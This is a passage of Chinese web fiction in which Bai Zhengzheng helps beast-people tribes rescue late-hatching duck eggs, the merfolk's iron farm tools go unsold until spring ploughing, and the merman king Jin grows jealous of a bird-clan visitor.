龟鸣就是跟着自己阿爸、阿爷、太爷他们住在一起。 他也是刚回来,上了岸就迫不及待告诉白争争大扁鱼的事儿。 现在说完了,走几步都累,跟白争争说了声,赶紧回去休息。 龟鸣走后,白争争进城堡里看了看。 烬不在,白争争又回去新房子那边,变做兽形,趴在地上一动不动。 幼崽疑惑,蹲在他面前,小爪子吧唧按在白争争脑门上。 “争争,你不高兴吗?” 白争争有气无力道:“有一点点。” 几个小脑袋凑过来,挤着他道:“龟鸣没把鱼带回来。” “嗯。” 争争想养鱼的事情部落里也知道,但没想到第一步就卡住了。 “为什么?” “海鱼捞上来就死。” 幼崽打个滚儿,脑袋搁在白争争身上,道:“那就别捞起来啊,就让它们在海里长。” 白争争:“不捞起来怎么……嘶,也不是不行。” 就像烬他们养食人鹰一样,就在食人鹰生长的小岛上养。环境不变,还不缺少食物,食人鹰自然养得好。 鱼也是一样。 他可以在产地直接养。 不过这样一来,他需要培育鱼苗的水箱。 那还得从头做起,需要找到合适的能制作水箱的材料,然后固定在海上。 而且他也得去那边守着。 可现在是冬季了,海岛上只会更冷。时机不合适,只能等明年开春再说了。 角兽数量少,养鱼现在也不行。 白争争颓然趴回去。 算了,他还是回去专注养鸭子吧。 白争争听着兽人们低低浅浅的话,渐渐睡了过去。 晚上难得在下面吃晚饭,吃过后,再回了后山去。 第二天一早,天刚亮,隔壁几个屋子里的野鸭就叫了起来。 那声音一阵一阵冲击着耳膜,白争争都习惯在这个时候准时醒来了。 这个时候,食草兽人们陆续上山。 做鸭食的屋子里已经腾起了炊烟。 白争争先检查一下炕上的温度,然后翻蛋。做完这些才出去洗脸漱口,和清他们一起吃早饭。 这个时候,食草兽人们就都上来了。 成年野鸭被喂过之后赶到河边去放,幼崽也开始抓虫子。 后山每日就是这么重复着,很快半个上午过去。 中午,清开始准备兽人们的午饭。 白争争无事,就跟年几个一起清洗紫皮根。正忙着,幼崽忽然指着山脚道:“族长来了!” 不一会儿,一大群林猫兽人就走了过来。 照问:“做饭了?” 清擦干净手,点点头,道:“族长,地买好了?” 照:“好了,一起看看去。” 白争争也扔下紫皮根,跟着部落的大部队往东边走。 菱也在,身边还有两个王国的兽人。 他们是带林猫兽人看地的。 出了栅栏,过河之后往东走不到五百米,兽人们在一块荒地停下。 荒地上生了很多草,茂密得不能下脚。 这里的树应该是清理过,没什么大树。不过很久没兽人种了,手腕粗细的小树也长了不少。 “就是这一片了。”王国的兽人抱着兽皮看了看,绕着地块走了一圈。 这块地不小,起码比白争争在山洞那边开出来的地大。但全是草,要耕种估计得清理一个月才清理得出来。 菱道:“这里原本也是王国的兽人部落种着的,不过这地在山后,从王国过来还要爬个山,一来一回太耗时。” “加上靠近林子,总会遭破坏,也影响收成。久而久之,兽人就不愿意种了。” 白争争道:“几年没种了?” 捧着兽皮地图的兽人道:“五年是有了。” 菱点点头。 “这里地平,土也厚,要是看管得好其实产量也不低。而且这么完整的一块地,王国附近已经很少了。” 菱笑道:“正好王国要开始售卖农具了,如果你们需要的话,可以去的城堡外问问。用农具清理起来快一些。” 交接完地,两个领路的兽人就走了。 菱看林猫兽人们已经新奇地在荒地里打转,他往鹤身边一站,将手滑入他手心。 鹤目色温柔,将他牵住。 菱倚着他道:“刚刚是作为王国的人鱼说的话,现在作为你的伴侣,我送部落一套农具。” 鹤摩挲他的手背,“不用,我们能买。” 菱不满道:“王说了,这事是我主持的,我自然能拿一套。你就说,要不要吧!” 鹤无奈:“好。” 白争争在他俩身后看得牙酸,他哥有了嫂子,性格都变了。 白争争绕开他俩,也去荒地里走走。 这块荒地除了草多树多,倒没什么石头。不过挖掘掉这些根之后还得养养地才行。 照看完之后,立在一旁道:“忙着店里的兽人就先回去吧,其他兽人留下来收拾。” 白争争:“养殖场那边还有不少农具,我拿过来。” 照:“你看着你那边就是。扑,你带几个兽人过去拿。” “是,族长!” 族人们似乎早就商量过,回去了二十个兽人,他们轮换做饼。剩下的兽人就在这边忙活起来。 兽人蹲下扯草,那根扎得极宽,一下拔出好大一块。得费些力气。 白争争带绒球阿父回去拿了农具,跟他道:“阿扑叔,干脆后头吃饭就在山上,我们一起做了。” 清在他旁边点头道:“一来一回太久了。” 扑道:“这边的食物是人鱼送来给帮忙的兽人的。” 白争争道:“吃一顿没事。之后的食材让部落送上来就是。” 扑道:“我回去跟族长说一声。” 这边有林猫四十多个,做饭是个大活儿。 清跟州掌勺,圆也来了。还有年、风、羽、桐都在帮忙,能做出来。 白争争问圆:“你不做饰品了?” 圆:“手疼,做久了不好玩儿。” 而且现在雁他们都跟着争争学了养鸭子,她也想学。 * 没几天后,人鱼族放出消息,开始售卖农具。 照知道这是自家大崽的伴侣弄出来,是个好东西,拿着银币就要去买。 还没出门呢,就看到东西送来了。 送农具来的兽人笑道:“照族长,农具送来了。” 照疑惑道:“我还没去呢。” 兽人道:“菱让我们送来的,你不用去了。” 兽人放下农具就走了,照后知后觉,赶忙追上去道:“银币,银币没给!” 兽人道:“不用给,菱让我们直接送来。” 兽人忙,还要给几个大部落送,没多寒暄就走了。 照掉头回来,拉着鹤把银币塞给他道:“怎么能要菱付银币,你给拿过去。” 鹤道:“菱不会收的,我昨天已经说了。” 他家伴侣是个强势的,说什么就是什么。要是把银币拿回去,那他要真生气了。 照想明白了,这是沾了自家小子的光。 他一巴掌拍在鹤的肩膀上,道:“你对他好点,人家这么为部落着想。” 鹤道:“阿父,我都知道。” 照瞧着那一堆分量不轻的农具,心里也高兴。 既然是崽子伴侣送的,那就先收下吧。他当即叫兽人们送去后山,又赶了鹤走,让他陪伴侣去。 鹤:“……” 他也想陪,但菱忙起来也顾不上他。 想他刚回来的时候菱恨不能挂在他身上,现在怎么就不受宠了呢? 鹤琢磨着,转身往城堡去。 没事,菱不守着他,他守着伴侣去。 第67章 第 67 章 阿爸……阿叔 兽人们做出来的农具都放在城堡外的房子里售卖。 这里不仅卖农具, 还有粮食以及一些鱼干肉干等等。是人鱼族跟兽人们交易的地方。 现在人鱼族售卖农具的消息已经传开了,鹤本以为这边很热闹,但过来时,房子前只有零星几个兽人。 他们都是来买稻或麦的。银币富裕的, 会直接买舂好的米或者磨好的面粉。 外头倒是有个兽人在试锄头, 但敲敲打打, 看完之后又放了回去。 那兽人没打算买。 鹤走至门前, 里头守店的兽人道:“要什么自己看。” 这兽人是个少年模样, 红发, 脸上有些鳞片。是一条人鱼。 店面很大, 是林猫兽人们的两三倍。 里头摆了货架, 米面粮油,珍珠宝石,都摆了些在外面展示。东西很杂,有些小人鱼在海里捡到个好看的海螺贝壳都要放在这里寄卖。 鹤看过一圈,留意到跟前放着的农具。镰刀、铁耙、锄头、犁头……都放在门口展示着, 但兽人们路过也只看上几眼, 连价都没询问。 鹤道:“农具怎么买?” 少年一喜, 抬头迎来。 却看鹤那一张脸,立即垂头丧气道:“鹤祭司,你们的不是送去了吗?” 鹤:“不好卖吗?” 少年道:“就只有六大部落各买了一套,其他部落的兽人们看都不看一眼。” “他们说花银币买这个,还不如多买几块肉。还说他们种地都种多少年了,没这东西不也种得好好的。” 鹤一问起,他就是一肚子的抱怨。 “所以除了给我们的,只卖出去六套?” 少年点了下脑袋。 “菱他们还做得很多嘞,都堆在仓库, 现在看来要一直放在那儿了。” 鹤:“没多给他们展示展示?” 少年迷茫,指着那锄头道:“那不是展示着的。” 鹤笑笑道:“嗯,我去找菱问问。” 少年:“慢走啊。” 鹤往城堡去,在菱休息的屋子里找到了人鱼。 他睡熟了,趴坐在铺满了白色兽皮的床边,只枕在床沿,银发铺落地上。 鹤放轻脚步,缓缓靠近。 他轻轻将人鱼抱起来,正要往床上放,菱却忽的睁眼,看清是鹤才搂住他的脖子道:“脏。” 鹤:“睡吧。” 菱迷迷糊糊,靠着他更深地睡去。 他太累了。 这些天跟兽人们赶着把农具大批量制作出来,还要继续赶制武器。他忙昏了头,连农具售卖的情况都没空去看,回来就趴在床边睡着了。 鹤轻手轻脚地将他往水池边带。 他坐在蒲团上,用兽皮沾水,将菱身上擦拭过一遍。之后再用兽皮裹着,抱回床上。 正要松手,但脖子上的双臂缠得更紧。 鹤捋了捋自家伴侣长长的银发,俯身侧躺下来,将他拢在怀里。 菱梦呓:“鹤……” 鹤亲亲伴侣的额角,低声回应:“嗯,睡吧。” 鹤本就是来陪着他的。 现在部落不像从前,在林中的时候兽人们时常受伤,需要祭司医治。出去捕猎采集,也需要祭司预测天气,占卜吉凶。 现在他虽成了祭司,但闲的时候多些。 之前走了那么久,让菱提心吊胆的,回来时见他都瘦了。 现在有时间,他想好好补偿,多陪着他。 鹤静静注视着自己的伴侣,心中前所未有的宁静。 这边岁月静好,后山却是热闹。 一大清早,白争争照例是忙完了那些活,就看虎呼几个急匆匆往这边跑。 地里忙着除草的林猫兽人看了,还以为是来找事的,抄起农具就往白争争这边赶。 清两边一看,忙跑过去拦住自己族人。 “认识的,认识的!” 扑将锄头一杵,盯着虎呼一行几个兽人道:“有事叫我们。” 说完,又潇洒回头,继续除草去了。 “争争!你快去看看吧。”虎呼冲到白争争跟前,拉上他就要走。 虎兽人劲儿大,白争争被带着跑了两步,他赶紧问:“怎么了?是不是鸭蛋没孵出来?” 虎呼道:“我们几个部落的都孵出来了,但才孵出来几只,我们都不知道问题出在了哪里?” “什么时候孵出来的?” “就在昨天早上,我们还以为其他陆续会出来,但等到今天早上了却还是没有动静。” 白争争干脆跑了起来。 没跑多少步,被虎呼一拎,夹在手臂下就跑。 白争争一受惊,变成林猫。 虎呼吓了一跳。烫手似的左右转右手,好歹是把白争争给抓住了,脚下也没停。 白争争头昏脑涨,赶紧道:“晕!晕!” 虎呼立马将他用双手捧着。 身后的兽人将白争争的兽皮一捞,紧紧跟着。 狼七道:“先去我们部落,最近!” 虎呼:“先去我们部落!” 白争争听他们边跑还有空吵嘴,叹了一声,坐在虎呼掌心,紧紧勾住他的手指,一身毛被吹得炸成个毛球。 跑得还是太快了些,他觉得脸皮被风吹得有点紧。 也就不到十分钟,他们下了山,进了城,到了虎族部落。 跑进去后虎呼没歇,白争争只看到那一片房子外好多趴在地上晒太阳的大老虎,各个吊睛白眼,肌肉健硕。 也就一晃眼,那些大老虎刚抬起头,转眼就看不到了。 虎呼直接将他带到部落开辟出来养野鸭的屋子,一进门,暖气扑面。 白争争被寒风吹得有点麻木的脸抽动两下,好歹是有了点知觉。 虎呼将炕上兽皮一掀,将白争争放在炕上。就是力道大了点,险些让他一屁股坐到蛋上。 白争争再一次叹气。 算了,不跟他计较。 他转身,爪子轻轻压在蛋壳上,翻动一圈,完完整整的没见什么裂痕。 “孵出来的小鸭子呢?” “另一个屋。”虎呼急急忙忙出去,白争争没把人叫住,他就把小鸭子给挪过来了。 白争争看了一眼,“都是同一批鸭蛋?” “是。”虎呼焦急道。 白争争伸出爪子,敲了敲蛋壳,“多少天了?” “三十四天了。” 白争争吓了一跳。 “这么久了!” 他又仔细观察了一会儿,才严肃道:“蛋壳太硬了,不是跟你们说了后期破壳之前需要喷点水吗?” “点个油灯来!” 门口,七八个大老虎脑袋探头往里看。 冬季兽人们喜欢保持兽形,白争争乍一眼看到,吓得一屁股坐在炕上,只听咔嚓一声—— 他身子僵住。 完了。 守在炕边的兽人们瞳孔一缩。 白争争赶紧爬起来,往蛋上一看,破了。 “死、死了?” 蛋忽然动了动,传出细微的叫。 “活的!活的!”狼七赶紧将蛋放正。 可小鸭子沿着缝隙啄了一下,渐渐就没了动静。白争争耳朵凑近,听了一会儿当即道:“出不来了,动手吧。” “灯呢?” “来了!” 虎呼将门一关,将油灯放在炕上。 这边狼七小心翼翼地在那边剥蛋,虎呼拿着蛋一个个往灯前看。 白争争越看越皱眉。 “不行,都发育好到了出壳的时候了。” “那怎么办?”虎呼急得团团转,“不是说让它们自己出来。” 白争争:“炕上太干了,蛋壳太硬,怎么出来。动手。” 兽人们一慌,赶紧小心探出爪子,往蛋壳上轻轻一戳。 开了缝隙后,一片一片往下剥壳。 没一会儿,露出一道小指甲盖那么大的口子。白争争凑过去看了一眼,“没动静?” 虎呼沮丧个脸。 白争争爪垫贴上去,感受了下,道:“全剥开。” 虎呼赶忙卸下蛋壳,一看,小鸭子已经死了。 怎么摆弄,那脑袋都是歪着。 白争争胡子颤了颤,沉声道:“全部弄开,兴许还有几个活的。” “那争争我们的呢?”狼七将刚刚剥出来的小鸭子放下,也是满脸着急。 白争争:“带我去。” “争争我这边?!”虎呼忙道。 白争争:“叫你族人帮忙,越快越好。” 白争争又被狼七抓着往他们部落跑,后头几个部落的兽人跟着。 兽人们又吵吵起来,道:“争争,我们的是不是也要剥开?” 白争争:“你们的孵多少天了?” “三十。” “二十八。” “二十九。” “正常,不要着急。他这个都三十四天了。”白争争后山那几批包括食人鹰孵化的野鸭蛋基本都是在二十九到三十二天内出壳。 食人鹰孵化得快些。 他自己孵化那会儿还不好把握温度,所以成功率低,孵化得也慢了些。 这几个大部落都住在王国东部这一片,离得近,白争争跑了这家跑那家,或多或少都有问题。 还是没有经验,实操太少。 即便有些注意事项在后山讲过,兽人们做起来也会有一些疏忽。 但好在第一批大家都没多少蛋能孵,成功率虽然低,但损失的蛋少些。 在几个大部落里窜来窜去,忙了大半天,总算把该解决的问题都解决了。 大家都是第一次孵蛋,像虎族那样的情况不多。其他部落的大多是炕上温度不持续不稳定,又或者是照灯多了,挪动多了,淘汰率也高。 忙完之后,白争争最后又回到了虎部落。 是虎呼将他带过去的。 明显新修的炕屋里,不止是趴在炕上烘毛的九只小鸭子,还有炕下蹲着的十多个虎头虎脑的小老虎兽人。 白争争眼睛一眯,后脊下意识炸开毛。 这是本能反应。 他跳下虎呼掌心,下一秒,就被十几个小老虎围住了。 白色老虎少,只有两只,其他全是黄虎。 爪垫厚实,脑袋圆,一个个长得标准又漂亮。白争争勾了勾爪子,蠢蠢欲动。 上辈子跟这辈子,都还没摸过小老虎呢。 不止白争争对他们好奇,虎崽也对只有他们脑袋大的林猫好奇。 好小一个,像刚出生的幼崽。 两方都在试探。 白争争看着小老虎脑袋越凑越近,鼻尖动着,像在嗅着他的味道。 他忍不住看了虎呼一眼。 虎呼还以为他不喜欢,道:“随便揍。” 白争争将爪垫往小老虎额前一放。 顿时,两边像连接成功,白争争被小老虎一顶。 他跳下炕,顿时被他们挨挨蹭蹭,爪子抱着拱。 白争争爪垫摸着这些小崽子,起初还美滋滋地这个摸一下,那个摸一下。 小老虎越来越兴奋,最后一个压一个,白争争摸够了想出来,却被一群毛绒绒淹没得只剩下一双爪子在缝隙里挣扎。 这要命啊! “唔!救、救命!” 白争争从缝隙里拱出来,目光发虚。 虎呼见状,一个幼崽给了一巴掌。再将白争争一捞,放回炕上。 他蹲下,看白争争双眼发直,毛毛乱糟糟的,有些心虚地瞪了一眼幼崽,随后将他毛发理一理。 可不能让王看见,不然他们…… “你干什么!” 虎呼虎躯一震,下意识收手,然后一把抱住自家幼崽,送上前。 “他们弄的!”虎呼闭上眼睛大声道。 门口,烬大步进来,轻轻捧着白争争至跟前。 “争争。” “争争?”他急着摸了摸白争争耳朵。 “唔,嗯?”白争争歪头,见是烬,脑袋往他掌心一砸,瘫软成猫饼。 “没什么,幼崽们太热情了。” 烬看着虎呼,那眼神怎么说呢,有点像要把他皮刮了当兽皮垫着。 烬问:“还有事吗?” 虎呼强撑着,小声道:“小鸭子。” 白争争挠挠耳朵,在烬掌心转个身。 “差点忘了。活了九个?” 虎呼:“对,剥出来的小鸭子有六个,其他的都死了。争争你看看它们有没有问题?” 白争争踩了踩烬的掌心,示意他放下去。 小鸭子的毛已经烘干了,白争争凑近看了看,它们吓得躲在一起。 挺有活力,发育也完全。 “没事,好好养着就行。注意别给吃撑了、别冷到了就行。” “好,好。”虎呼总算松了一口气。 三十个蛋,就只有九个成活。 “那我走了?”说话间,烬又将他抱回来。 小老虎们蹲在虎呼身边,依依不舍看着他。 白争争心有余悸,往烬手臂上爬着,直钻到他发下,紧紧抱着他脖子。 “快走快走。”他小声催促。 烬扫了那些虎兽人崽子一眼,转身离去。 虎呼拍了拍胸口,将他们送到部落外。见还望着外面的虎崽子,挨个拍了下脑门儿道:“回去吧。” “呼叔,我们可以找他玩儿吗?” 虎呼:“你们问王去。” 说着虎崽子就要往外跟去,他忙拦住,一个个拎着带回部落。 “叫你们去还真去!没看见争争都吓到了。” “没有,我们在玩儿。” “那是你们玩儿他!” 被玩儿的白争争此时藏在烬的头发下,毛脑袋抵着他的脖子,两个爪子紧紧抓着烬的头发。 烬伸手道:“争争,下来。” 白争争挪了挪,吧唧往他手掌心一倒,累极了一般道:“撸猫反被猫撸,好累哦。” 烬掌心盖住他的身子,不停地顺毛,将自己的气息重新覆盖在自己伴侣身上。 “下次别一个人过来。” “不来了,绝对不来了。” 他还是回去摸他们林猫兽人的幼崽吧,虎崽他招架不住。 烬眉头微松:“嗯。” “对了!”白争争看着烬道,“今天不是开始卖农具了吗?卖得怎么样了?” 烬:“一般。” 白争争:“具体是怎么个一般?卖了几十套?还是卖了几百套?” 烬:“六套。” “嗯?”白争争一骨碌坐直了,爪垫踩在烬的掌心,尾巴在他手指上绕了一圈。 烬勾了勾手指,眉头松开。 “只有六个大部落都买了一套,其他的部落没有任何动静。” “不应该啊。”白争争爪垫踩了踩,有些着急。 他看烬是往城堡走的,催促他快些。 到了地方后,他直接往地上一蹦。 烬瞳孔一缩。 巴掌大的林猫才落到半空,就被烬一下捞起,紧抱在怀里。 “诶?” 烬将他举起,忍不住在他耳朵尖上轻轻咬了一口。 “烬……唔!不要咬。”白争争爪垫抵着烬的下巴,毛脑袋往后缩。 烬连尾巴一起兜住他屁股,抱在怀里,沉声道:“要跳先告诉我一声。” 白争争看他一眼,好像有点生气了。 “嗷。” 明明这高度对林猫来说很自如,但对上烬后怕的眼神,就是有点心虚。 烬是不是对他认知有点错误? 林猫长得虽然小,但到底是猫兽人。 后头,他安分地窝在烬怀里。 进了城堡,白争争东张西望试图找菱,烬却蒙住他的眼睛,将他带进了睡觉的屋里。 他将白争争放在地上铺的兽皮上,转头去拿他穿的兽皮衣。 白争争忽然站起,叫了声:“哎呀!” 烬回头看他。 白争争:“兽皮衣忘了拿回来了。” 烬:“在哪儿?” “狼七那里吧。我看看去!”说着变回人形,光溜溜的。 他抓过烬身上的兽皮就往身上套,烬就在一旁看着,等他穿好,再帮他理一理头发。 “我叫兽人去拿,不是要找菱?” 白争争:“那好,你记着啊!” 说着就跑了出去。 这会儿已经是吃午饭的时候了,烬慢慢随着他出去,看他去菱的屋子外瞧了一眼,又转身回来。 烬出城堡的脚步一顿,“没在?” 白争争摇摇头。 “我哥跟我嫂子在睡觉呢。你出去干嘛?” “拿兽皮衣。” “不是叫个兽人去?” “叫我自己。” 白争争挎着他的手,往他身上一挂,嘿嘿笑着蹭他。 “可以可以。” 烬护着他继续往前走,走了两步,白争争挂在他身上的腿放下来。 他松手,停在原地道:“早去早回啊!” 烬嘴唇动了动。 白争争望着他那双漂亮的眼睛,翘起嘴角问:“干嘛啊?” 烬:“没事。” 他还以为争争会跟着他一起去。 白争争偷笑。 烬走后,白争争直接去城堡外人鱼族的店里问了问,果然,那些农具只上午卖给了六个大部落之后,到中午了都没兽人买。 “灿,你们存了多少农具?”白争争问。 灿无聊地嗑着坚果,道:“不多,也就两三百套吧。” “两一百套!” 一套五六样东西,算起来五百多样。也就一个月的时间,他们怎么做出来这么多的? “是啊。”灿道,“卖不出去咯。” 白争争:“那岂不是亏了。” “放心,亏不了。” 白争争肩膀上一重,菱打着哈欠,懒洋洋地站在他身边。 这模样才睡醒,他哥跟在后面,侧边下巴上还有个刚刚啃出来的牙印。 白争争龇牙。 怎么这么酸呢。 菱:“看什么?” 白争争望天,“看飞鸟。” 鹤耳根微红,走到伴侣身边,身体稍微侧着不让兽人看到那牙印。 菱道:“卖出多少了?” 灿苦哈哈道:“还是六套。” 白争争:“你们忙了这么久,岂不是白干。” 菱:“我从来不白干活儿,放着吧,早晚都能用到。农具就那么多,现在不要,以后就只能抢去。” 他有这个自信。 “王呢?没跟你一起?” 白争争:“给我拿东西去了,马上回来。” 街上,狼七送走了白争争才想起白争争的兽皮衣忘了给他。 他着急忙慌去虎部落,虎呼又说人走了。 他转身追去,在半路遇到了迎面走来的烬。 “王!” 烬停下,看着他手中的兽皮衣。 这是白争争来人鱼王国之后,烬叫兽人给他做的。浅浅的白绒毛,穿在身上抱起来很舒服。 狼七将兽皮衣递过去,有些紧张道:“这是争争的兽皮衣,他忘下了。” 烬点头,接了过来。 他拿上就走,留狼七在原地摸不着头脑。 “王来这边干什么?” 他看了看手中。 难道就为了给争争拿兽皮衣? 不可能吧…… 狼七转回头就把这事儿告诉了族人。 他们族长道:“这有什么奇怪的,人鱼族是出了名的宠伴侣。” 白争争等到烬回来之后一起吃了午饭。 又睡过午觉后,他打算去部落里看看就回去。 街上下午不比上午热闹,但依旧有不少的兽人来往。他们部落的麦饼生意还是很好,兽人一来就带一摞饼子回去。 白争争刚走到门口,肩膀忽然被兽人拍了一下。 “争争,你怎么在这儿?” 白争争一看,居然是翼族兽人追,逸也跟着一起。 白争争惊喜道:“我本来不就冲着人鱼王国来的。你们怎么来了?” 追:“这不快冬季了,我们族长让我们过来交换些食物。” 追四处看看,将白争争拉到一边,急道:“你找到新伴侣了吗?” “什么?”白争争两眼懵。 逸在一旁双手抱臂,冲着天翻了个大白眼。 都多久了,他这兄弟还不死心。 希在屋里探头,疑惑看着见他家崽子拉到边上的兽人。 “那两个看着面生。” “好像是翼族,难不成是争争他们在第二环岛遇到的那些?”旁边的兽人道。 希赶紧擦干净手道:“客人上门,去准备些食物。” 他走下去,白争争正好说:“什么新伴侣?不一直是烬吗?” 希停下来,打量着站在自家崽子面前的兽人。 白争争先看到他,道:“阿爸。” 追身体僵硬,转过头,结结巴巴道:“阿爸……不不对,阿叔。” 希和蔼笑了笑,道:“你们就是帮了我家崽子的翼族兽人吧,进屋里说。” 逸悄悄踩了追一脚。 叫阿爸,是想死吗? 他面上笑道:“阿叔,我们也没做什么。” 第68章 第 68 章 大卖 侧屋。 希端了些瓜果跟几张麦饼进来, 他笑道:“来,尝尝我家麦饼。” 绒球跟三个苗苗跟在希后头蹦进来,跑到白争争身边,踩着他腿往上爬。 绒球跟小苗窝在他怀里, 大苗跟中苗趴在他肩膀上。 希招呼了两个兽人就出去继续干活, 留下白争争跟他们继续说话。 幼崽睁着大眼睛, 像辨认了一会儿, 立即扒拉着白争争的胳膊道:“追!逸!” 逸看着幼崽满脸的笑, “还记得我们啊。” 幼崽点点头, 没了生疏, 跳下去围着他们打量。 白争争给他们分了麦饼, 才道:“你们进王国是不是花了很多银币?” 追想着自己刚刚说的话不好意思,尤其是白争争的阿爸还在的情况下。 他不开口,逸便道:“不用了。我们这些王国外的兽人现在都可以进来交换。” “什么时候的事儿?” “几个月前。我们也才听到消息。” “那你们来多久了?”白争争问。 “有五六天了。我们本来今天都打算走了,但听跟我们交换的兽人说林猫兽人在卖饼子,让我们一定来尝尝。我们一听到是林猫, 就过来看看, 没想到真的遇到你了。” 白争争笑道:“也是巧, 我本来打算过来看看就去干活儿了。” 追悄悄看了眼白争争。 亚兽人红光满面,脸也有肉了,看着比以前日子好过不少。 他心里酸。 那人鱼凭什么啊! 逸撞了一下追,“吃饼。” 追猛地低头,抓着饼子就啃。一口下去,满口的肉香与麦香。 他拿着饼子看,中间夹着碎肉,外面的皮儿又薄又脆。 “好吃。”他小声道。 逸连啃两口,不免道:“怪不得你们这里这么受欢迎, 要是早知道你们在卖,我们就留下些银币用来买了。” 白争争:“朋友之间,说什么买不买。走的时候带些,路上吃。” 追:“那怎么行。” 逸:“那我们就不客气了!” 两个兽人同时看向对方,追按住逸的手,冲他使了个眼色。 他对白争争笑道:“不用了,我们……” “用,还没谢谢你们一路上帮我照顾争争。”烬推门进来,面上是笑着,但却让追气势一弱,不敢看他。 “你怎么来了?”白争争伸手。 烬抓住他手指,十指扣住,在他身边坐下。他目光从追身上一扫,微点头道:“翼族部落追是吧?谢谢。” 追看着烬气势颇盛,一看武力就强的兽人,低下头道:“我们也是碰巧遇到了。” 逸咽了咽口水,看烬有些畏惧。 他们不是第一次看见人鱼,来之前,他们发现第二环岛都出现了人鱼的身影。 一路过来,更是有人鱼王国的兽人询问身份。 但他们都没烬让他感受到压迫。 他看起来嘴角带笑,分明很和善。但自带令他们畏惧的气息。 烬来了,追是心虚,逸则有些拘谨起来。 白争争勾了勾烬的手,眼神询问他为什么来? 烬余光扫过追,看兽人瑟缩,不怎么高兴地捏着白争争的手一下攥紧。 这气氛一下子就尴尬起来。 白争争笑了两下,追噌的一下站起。 逸一愣,也赶紧起身道:“争争,我们还要赶着回去,就不坐了,有空来我们部落玩儿啊。” 说着就互相推攘着出去。 烬慢慢起身,道:“阿爸,装些麦饼给客人。” “不用了,不用了!”追恨不能撒腿儿就跑。 烬淡声道:“等等。” 两个兽人脚步一顿,乖巧立在原地,慢慢转头过来。 希被叫了一声阿爸还没反应过来,对上烬的视线,才忙道:“诶!已经装好了。” 他抱着一摞装好的麦饼来,走到两个兽人面前。 追接也不是,不接也不是。 烬道:“收着吧。” 追赶紧抬手,手中顿时一重。 “那、那我们走了?” 白争争想笑又觉得不好,轻轻扯了扯烬的手。 烬道:“路上小心,要不要我们送一程?” “不用!不用!”追低头赶紧跑。 他怕人鱼送他最后一程。 等两个兽人看不见身影,白争争才对烬道:“你吓他们干什么?” 烬偏头问希:“阿爸,我吓他们了吗?” 希好笑地摇了摇头,“没有。” 白争争皱了皱鼻子,闷哼道:“那他们怎么像后头有野兽在追一样?” 烬:“他们不是说了,要赶着回去。” 希见小两口这么好,欣慰地捂着嘴笑了两声,弯着眼,继续回去卖饼子了。 白争争:“你当我傻。” 烬捧着白争争的脸,挤了挤道:“我要是不来,那个鸟兽人都把你带跑了。” 白争争:“唔……怎、怎么可能?” “哼。”烬捏住他的脸。 白争争讨好的抓下他的手,摇了摇,满眼晶亮道:“哼什么哼,气大伤身。” 烬默默看着他。 白争争踮脚在他耳边小声道:“不过也有点可爱哦。” 烬移开眼,白争争却见他脖子上慢慢浮现一抹薄红。 他新奇地踮脚,凑近了试图看得更清。 烬却反手捂着他的眼睛,转头对希道:“阿爸,我带争争先走了。” 希慈爱笑道:“走吧。” 白争争:“我不唔……” 烬:“你要走。” 他手臂绕着白争争的腰,轻轻一提就将人带走了。 青天白日,朗朗乾坤。 城堡里,白争争被捏着尾巴尖,爬走了又捞回来,反反复复被咬了个够。 后头不知过了多久,才软趴趴挂在烬身上晕了过去。 早知道烬醋味儿这么大,他就…… 不对!他也没干什么啊! 白争争醒来时,已经是半夜。 屋里点着油灯,他爬起来,看到手臂上满满当当的红痕,吓得又倒了回去。 太狠了! 烬将他捞过来,摸了摸平坦的肚子。 白争争龇牙,一下咬在他脖子上。 烬喉结滚了滚,白争争眼睛瞪大,吓得赶紧松嘴爬开。 烬起身,用兽皮裹着他。出去一趟之后端着一碗粥进来。 白争争怂怂地缩在兽皮里,幽怨地看着烬。 “吃点东西。” 白争争:“哼。” 烬将他揽到怀里,白争争腰上一酸,眼里逼出泪来。 他鼻音浓重地控诉:“你欺负我!” 烬指腹刮了刮他的脸颊,眼神深邃,喜爱藏不住。“不敢,喜欢还来不及。” 白争争瘪嘴,脑袋往他脖子里藏。 “饿……” 烬下巴蹭蹭他毛绒绒的头发,端过粥来,一点一点喂。 白争争吃得半饱,趴在他身上不动了。 烬哄着人,顺着他的发道:“下午那会儿你刚走没多久,就有兽人跑来告诉我说你朋友来了。我本来是过来看看,谁知道那鸟兽人的眼里藏不住对你的喜欢。” 烬眼神微冷,声音平淡:“争争,抢兽人伴侣是要决斗的。就是我把他杀了,也正常。” 白争争赶忙道:“那他就只是说说,也没敢动手。而且他还帮了我的。” 烬暗下眼神,道:“就是因为他帮了你,所以我才没动手。” 人鱼对伴侣的占有欲极强,但凡兽人有一点觊觎,绝对掀起一场争斗。 白争争心漏跳一拍,抱住烬的腰,赖赖呼呼撒娇道:“知道了……我其实已经跟他说清楚了,你放心,我不会跑的。” 烬道:“想都不要想。” 白争争点点头,乖得很。 “不跑不跑,我也喜欢你。” 冬日少雨,只下了几场雪,地面还没积起就化开了。 白争争就这么忙着孵蛋,养鸭,偶尔去北边看看角兽的情况。又或者被六个大部落的兽人叫去帮帮忙,这冬日就这么过去了。 时光迅速,海风稍歇。 暖意袭来,山花也竞相绽放。 又是一年春日,兽人们褪去了厚重的兽皮衣,只穿着一层兽皮马甲,开始了一年的劳作。 人鱼王国北部的田地里,大大小小的兽人们拿着骨制的农具在田地间忙碌。 小兽人除草,成年兽人就翻地。 那骨制的农具用藤条将骨片绑在木棍上,翻地时,脚往上一踩,再往下一压,一块湿润的泥土翻出来。 放眼望去,兽人们几乎都用的是这种东西。 但也有几个不同。 六大部落的地是除了人鱼族之外最好的。他们的地靠近王城城墙边缘,平坦开阔,没有在山前的斜坡上。 这会儿,兽人们慢悠悠地拿着去年买的农具下地。 虎族部落的地里,虎兽人趴地上变做个大老虎。将犁臂往背上一架,后头兽人把着犁,呲溜一下,就从兽人们眼前跑了过去。 “那是什么东西?” 山坡上的兽人纷纷停下手,转头看。 只见那黑色的犁头陷入地里,虎兽人只轻轻松松走过,那地就翻耕出长条新鲜泥土来。 来回个两三趟,那硕大的一块地就翻出手臂那么宽。 兽人们惊奇,纷纷甩了手上的农具往下跑。 他们走到虎兽人身边,跑着看了一会儿。 “这是什么?” “这不是人鱼族卖的那个什么……” 兽人话没说完,忽然拔腿就跑。 虎呼抬头,嗷呜一声赶紧道:“诶!锄头镰刀那些才几把,快去多买些。” 后头的兽人反应过来,赶紧往山下跑。 山上,菱靠在自己伴侣身前,手捂在肚子上。 “我说吧,能卖出去。” 鹤护着他手,低声道:“这里风大,咱们回去吧。” 菱看向白争争,得意挑眉。 